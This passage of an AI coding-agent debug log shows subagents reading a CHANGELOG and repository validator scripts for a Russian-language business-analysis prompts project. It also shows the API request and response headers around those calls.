\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u0430 |\\n| `scenario-model` | `modeling` | `\u041f3` | US / UC / AC | `G-self`: actor, \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u0441\u043c\u0435\u0448\u0430\u043d\u044b |\\n| `fr-draft` | `documentation`, `solution_design` | `\u041f4` | \u0427\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0424\u0422 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0448\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 | `G-self` \u0444\u043e\u0440\u043c\u0430 + `G-mach` \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f \u0438 \u0446\u0438\u0442\u0430\u0442\u044b |\",\n[2026-09-29T07:46:28.131Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:28.131Z] [INFO]       }\n[2026-09-29T07:46:28.131Z] [INFO]     ]\n[2026-09-29T07:46:28.131Z] [INFO]   },\n[2026-09-29T07:46:28.131Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:28.131Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:28.131Z] [INFO]   \"uuid\": \"6f971c11-87d3-419d-ab32-bcb51de9d2c1\",\n[2026-09-29T07:46:28.131Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:28.125Z\",\n[2026-09-29T07:46:28.131Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:28.131Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:28.131Z] [INFO] }\n[2026-09-29T07:46:28.159Z] [STDOUT] [log_22dfd6] sending request {\n[2026-09-29T07:46:28.168Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:28.170Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:28.172Z] [STDOUT]   options: {\n[2026-09-29T07:46:28.174Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:28.176Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:28.180Z] [STDOUT]     body: {\n[2026-09-29T07:46:28.184Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:28.187Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:28.190Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:28.193Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:28.196Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:28.200Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:28.203Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:28.206Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:28.211Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:28.218Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:28.220Z] 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\"1790679600\",\n[2026-09-29T07:46:29.206Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:29.211Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:29.214Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:29.218Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:29.222Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:29.225Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:29.227Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:29.232Z] [STDOUT]   \"request-id\": \"req_011CfXMqQUHcS4SBcXYJQx14\",\n[2026-09-29T07:46:29.237Z] [STDOUT]   \"traceresponse\": \"00-f2c5fdbc0ec9b6795ad59b07add6cd83-c29a1edbd9b595c5-01\",\n[2026-09-29T07:46:29.244Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:29.247Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:29.251Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:29.255Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:29.260Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:29.263Z] [STDOUT]   \"cf-ray\": \"a4295fca8fe94d8b-FRA\",\n[2026-09-29T07:46:29.267Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:29.270Z] [STDOUT] [log_7483b7] response parsed {\n[2026-09-29T07:46:29.276Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:29.279Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:29.281Z] [STDOUT]   body: X {\n[2026-09-29T07:46:29.287Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:29.292Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:29.295Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:29.298Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:29.303Z] [STDOUT]     },\n[2026-09-29T07:46:29.307Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:29.310Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:29.316Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:29.319Z] [STDOUT]   },\n[2026-09-29T07:46:29.324Z] [STDOUT]   durationMs: 1131,\n[2026-09-29T07:46:29.327Z] [STDOUT] }\n[2026-09-29T07:46:29.330Z] [INFO] {\n[2026-09-29T07:46:29.330Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"message\": {\n[2026-09-29T07:46:29.330Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:29.330Z] [INFO]     \"id\": \"msg_011CfXMqGzLFzrEUeLxy2aXB\",\n[2026-09-29T07:46:29.330Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:29.330Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:29.330Z] [INFO]     \"content\": [\n[2026-09-29T07:46:29.330Z] [INFO]       {\n[2026-09-29T07:46:29.330Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:29.330Z] [INFO]         \"id\": \"toolu_01NTGCMNb82N7odTSiRkBsMJ\",\n[2026-09-29T07:46:29.330Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:29.330Z] [INFO]         \"input\": {\n[2026-09-29T07:46:29.330Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && grep -n \\\"^## \\\\|^### \\\" CHANGELOG.md | head -150\",\n[2026-09-29T07:46:29.330Z] [INFO]           \"description\": \"CHANGELOG headings\"\n[2026-09-29T07:46:29.330Z] [INFO]         },\n[2026-09-29T07:46:29.330Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:29.330Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:29.330Z] [INFO]         }\n[2026-09-29T07:46:29.330Z] [INFO]       }\n[2026-09-29T07:46:29.330Z] [INFO]     ],\n[2026-09-29T07:46:29.330Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:29.330Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:29.330Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:29.330Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:29.330Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:29.330Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:29.330Z] [INFO]       \"cache_creation_input_tokens\": 3164,\n[2026-09-29T07:46:29.330Z] [INFO]       \"cache_read_input_tokens\": 103011,\n[2026-09-29T07:46:29.330Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:29.330Z] [INFO]         \"ephemeral_5m_input_tokens\": 3164,\n[2026-09-29T07:46:29.330Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:29.330Z] [INFO]       },\n[2026-09-29T07:46:29.330Z] [INFO]       \"output_tokens\": 4,\n[2026-09-29T07:46:29.330Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:29.330Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:29.330Z] [INFO]     },\n[2026-09-29T07:46:29.330Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:29.330Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:29.330Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:29.330Z] [INFO]   },\n[2026-09-29T07:46:29.330Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"uuid\": \"9e8f1e77-2db1-4888-b4d9-7db43d07c83d\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:28.784Z\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"request_id\": \"req_011CfXMqGVouV49AmmrwkWRh\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:29.330Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:29.330Z] [INFO] }\n[2026-09-29T07:46:29.334Z] [INFO] {\n[2026-09-29T07:46:29.334Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"description\": \"Running CHANGELOG headings\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"usage\": {\n[2026-09-29T07:46:29.334Z] [INFO]     \"total_tokens\": 106855,\n[2026-09-29T07:46:29.334Z] [INFO]     \"tool_uses\": 26,\n[2026-09-29T07:46:29.334Z] [INFO]     \"duration_ms\": 126491\n[2026-09-29T07:46:29.334Z] [INFO]   },\n[2026-09-29T07:46:29.334Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"uuid\": \"73800061-bd48-46fc-8051-92991bbc67db\",\n[2026-09-29T07:46:29.334Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:29.334Z] [INFO] }\n[2026-09-29T07:46:29.338Z] [STDOUT] [log_22dfd6, request-id: \"req_011CfXMqRqeXnqkkEEUB9N7y\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 854ms\n[2026-09-29T07:46:29.343Z] [STDOUT] [log_22dfd6] response start {\n[2026-09-29T07:46:29.347Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:29.350Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:29.352Z] [STDOUT]   headers: {\n[2026-09-29T07:46:29.354Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:29.360Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:29.363Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:29.367Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:29.369Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:29.371Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:29.374Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:29.377Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:29.379Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:29.382Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:29.390Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:29.395Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:29.397Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:29.404Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:29.407Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:29.409Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:29.413Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:29.423Z] [STDOUT]     \"cf-ray\": \"a4295fce0d26dbb5-FRA\",\n[2026-09-29T07:46:29.427Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:29.432Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:29.446Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:29.452Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:29.457Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:29 GMT\",\n[2026-09-29T07:46:29.470Z] [STDOUT]     \"request-id\": \"req_011CfXMqRqeXnqkkEEUB9N7y\",\n[2026-09-29T07:46:29.475Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:29.478Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:29.492Z] [STDOUT]     traceresponse: \"00-0499271f37904cf7a93082a32c93e5df-3574194bcab9b7eb-01\",\n[2026-09-29T07:46:29.506Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:29.511Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:29.519Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:29.527Z] [STDOUT]   },\n[2026-09-29T07:46:29.540Z] [STDOUT]   durationMs: 854,\n[2026-09-29T07:46:29.593Z] [STDOUT] }\n[2026-09-29T07:46:29.608Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:29.616Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:29 GMT\",\n[2026-09-29T07:46:29.619Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:29.629Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:29.641Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:29.644Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:29.652Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:29.655Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:29.665Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:29.668Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:29.672Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:29.684Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:29.691Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:29.694Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:29.698Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:29.701Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:29.705Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:29.709Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:29.712Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:29.715Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:29.720Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:29.723Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:29.726Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:29.732Z] [STDOUT]   \"request-id\": \"req_011CfXMqRqeXnqkkEEUB9N7y\",\n[2026-09-29T07:46:29.736Z] [STDOUT]   \"traceresponse\": \"00-0499271f37904cf7a93082a32c93e5df-3574194bcab9b7eb-01\",\n[2026-09-29T07:46:29.739Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:29.742Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:29.753Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:29.758Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:29.761Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:29.765Z] [STDOUT]   \"cf-ray\": \"a4295fce0d26dbb5-FRA\",\n[2026-09-29T07:46:29.775Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:29.783Z] [STDOUT] [log_22dfd6] response parsed {\n[2026-09-29T07:46:29.786Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:29.789Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:29.795Z] [STDOUT]   body: X {\n[2026-09-29T07:46:29.801Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:29.808Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:29.822Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:29.826Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:29.829Z] [STDOUT]     },\n[2026-09-29T07:46:29.833Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:29.840Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:29.845Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:29.849Z] [STDOUT]   },\n[2026-09-29T07:46:29.863Z] [STDOUT]   durationMs: 854,\n[2026-09-29T07:46:29.869Z] [STDOUT] }\n[2026-09-29T07:46:29.888Z] [INFO] {\n[2026-09-29T07:46:29.888Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:29.888Z] [INFO]   \"message\": {\n[2026-09-29T07:46:29.888Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:29.888Z] [INFO]     \"id\": \"msg_011CfXMqQuLPJBy6PEY2Jueb\",\n[2026-09-29T07:46:29.888Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:29.888Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:29.888Z] [INFO]     \"content\": [\n[2026-09-29T07:46:29.888Z] [INFO]       {\n[2026-09-29T07:46:29.888Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:29.888Z] [INFO]         \"id\": \"toolu_016qgi6X3y1orwN361mQuE9c\",\n[2026-09-29T07:46:29.888Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:29.888Z] [INFO]         \"input\": {\n[2026-09-29T07:46:29.888Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -n 40,100p tools/validate-repository-structure.sh; grep -n \\\"^type\\\\|  - \\\\|allowed.*type\\\" tools/validate-frontmatter.sh | head -40\",\n[2026-09-29T07:46:29.888Z] [INFO]           \"description\": \"Read structure validator and frontmatter types\"\n[2026-09-29T07:46:29.888Z] [INFO]         },\n[2026-09-29T07:46:29.888Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:29.888Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:29.888Z] [INFO]         }\n[2026-09-29T07:46:29.888Z] [INFO]       }\n[2026-09-29T07:46:29.888Z] [INFO]     ],\n[2026-09-29T07:46:29.888Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:29.888Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:29.888Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:29.888Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:29.888Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:29.888Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:29.888Z] [INFO]       \"cache_creation_input_tokens\": 2021,\n[2026-09-29T07:46:29.888Z] [INFO]       \"cache_read_input_tokens\": 31569,\n[2026-09-29T07:46:29.888Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:29.888Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:29.888Z] [INFO]         \"ephemeral_1h_input_tokens\": 2021\n[2026-09-29T07:46:29.888Z] [INFO]       },\n[2026-09-29T07:46:29.888Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:46:29.888Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:29.888Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:29.888Z] [INFO]     },\n[2026-09-29T07:46:29.888Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:29.888Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:29.888Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:29.888Z] [INFO]   },\n[2026-09-29T07:46:29.888Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:29.888Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:29.888Z] [INFO]   \"uuid\": \"a2401b6e-f18a-4aff-ac38-f1e5001da9a8\",\n[2026-09-29T07:46:29.888Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:29.795Z\",\n[2026-09-29T07:46:29.888Z] [INFO]   \"request_id\": \"req_011CfXMqQUHcS4SBcXYJQx14\",\n[2026-09-29T07:46:29.888Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:46:29.888Z] [INFO]     \"toolu_016qgi6X3y1orwN361mQuE9c\": {\n[2026-09-29T07:46:29.888Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -n 40,100p tools/validate-repository-structure.sh; grep -n \\\"^type\\\\|  - \\\\|allowed.*type\\\" tools/validate-frontmatter.sh | head -40\",\n[2026-09-29T07:46:29.888Z] [INFO]       \"description\": \"Read structure validator and frontmatter types\"\n[2026-09-29T07:46:29.888Z] [INFO]     }\n[2026-09-29T07:46:29.888Z] [INFO]   }\n[2026-09-29T07:46:29.888Z] [INFO] }\n[2026-09-29T07:46:30.255Z] [INFO] {\n[2026-09-29T07:46:30.255Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:30.255Z] [INFO]   \"message\": {\n[2026-09-29T07:46:30.255Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:30.255Z] [INFO]     \"content\": [\n[2026-09-29T07:46:30.255Z] [INFO]       {\n[2026-09-29T07:46:30.255Z] [INFO]         \"tool_use_id\": \"toolu_01NTGCMNb82N7odTSiRkBsMJ\",\n[2026-09-29T07:46:30.255Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:30.255Z] [INFO]         \"content\": \"14:## Unreleased\\n16:### Added \u2014 Issue #365: L0-\u043e\u0446\u0435\u043d\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0417 BCREQ-1114v2 (RUN-0069)\\n26:### Added \u2014 Issue #363: L0-\u043e\u0446\u0435\u043d\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0417 BCREQ-1114 (RUN-0068)\\n36:### Changed \u2014 Issue #361: \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d\u043d\u043e\u0439 \u0411\u0417\\n46:### Added \u2014 Issue #357: \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u043f\u0440\u0438\u043d\u0442\u043e\u0432 \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0425\u0430\u0431\u0430\\n62:### Changed \u2014 Issue #357\\n67:### Added \u2014 Issue #355: \u041f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0424\u0422 BCREQ-1074 (RUN-0067)\\n77:### Changed \u2014 Issue #355\\n82:### Fixed \u2014 Issue #355\\n88:### Added \u2014 Issue #353: A/B-RCA \u043f\u0430\u0433\u0438\u043d\u0430\u0446\u0438\u0438 RUN-0065 \u0438 RUN-0066\\n99:### Added \u2014 Issue #351: RUN-0066, \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0422\u0417 task-1099 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0439 LLM\\n115:### Added \u2014 Issue #347: RUN-0065, L0-\u0430\u0443\u0434\u0438\u0442 \u0422\u0417 \u00ab\u0422\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u044f\u00bb\\n127:### Added \u2014 Issue #345: RUN-0064, RCA \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0432\u0438\u0434\u0430 \u043e\u0442\u0447\u0435\u0442\u0430 BCREQ-1074\\n137:### Added \u2014 Issue #343: RUN-0063, \u0424\u0422 \u043f\u043e BCREQ-1074\\n148:### Added \u2014 Issue #339: RUN-0062, \u043e\u0446\u0435\u043d\u043a\u0430 \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u2116 5\u20137\\n160:### Added \u2014 Issue #335: \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u0432\u0435\u0431-\u043e\u0442\u0447\u0451\u0442 RUN-0060\\n186:### Changed \u2014 Issue #335\\n194:### Added \u2014 Issue #333: \u043f\u0440\u043e\u0433\u043e\u043d RUN-0060, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 gap-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0440\u043e\u0432\u043d\u044f L4\\n218:### Added \u2014 Issue #331: \u043f\u0440\u043e\u0433\u043e\u043d RUN-0059, \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u0439 \u0441\u043f\u0430\u0439\u043a \u0438 \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u0434\u0430\u043d\u043d\u044b\u0445 HH.ru \u2194 \u041a\u0426 Mango\\n251:### Added \u2014 Issue #329: \u043f\u0440\u043e\u0433\u043e\u043d RUN-0058, \u043f\u0435\u0440\u0435\u043e\u0446\u0435\u043d\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 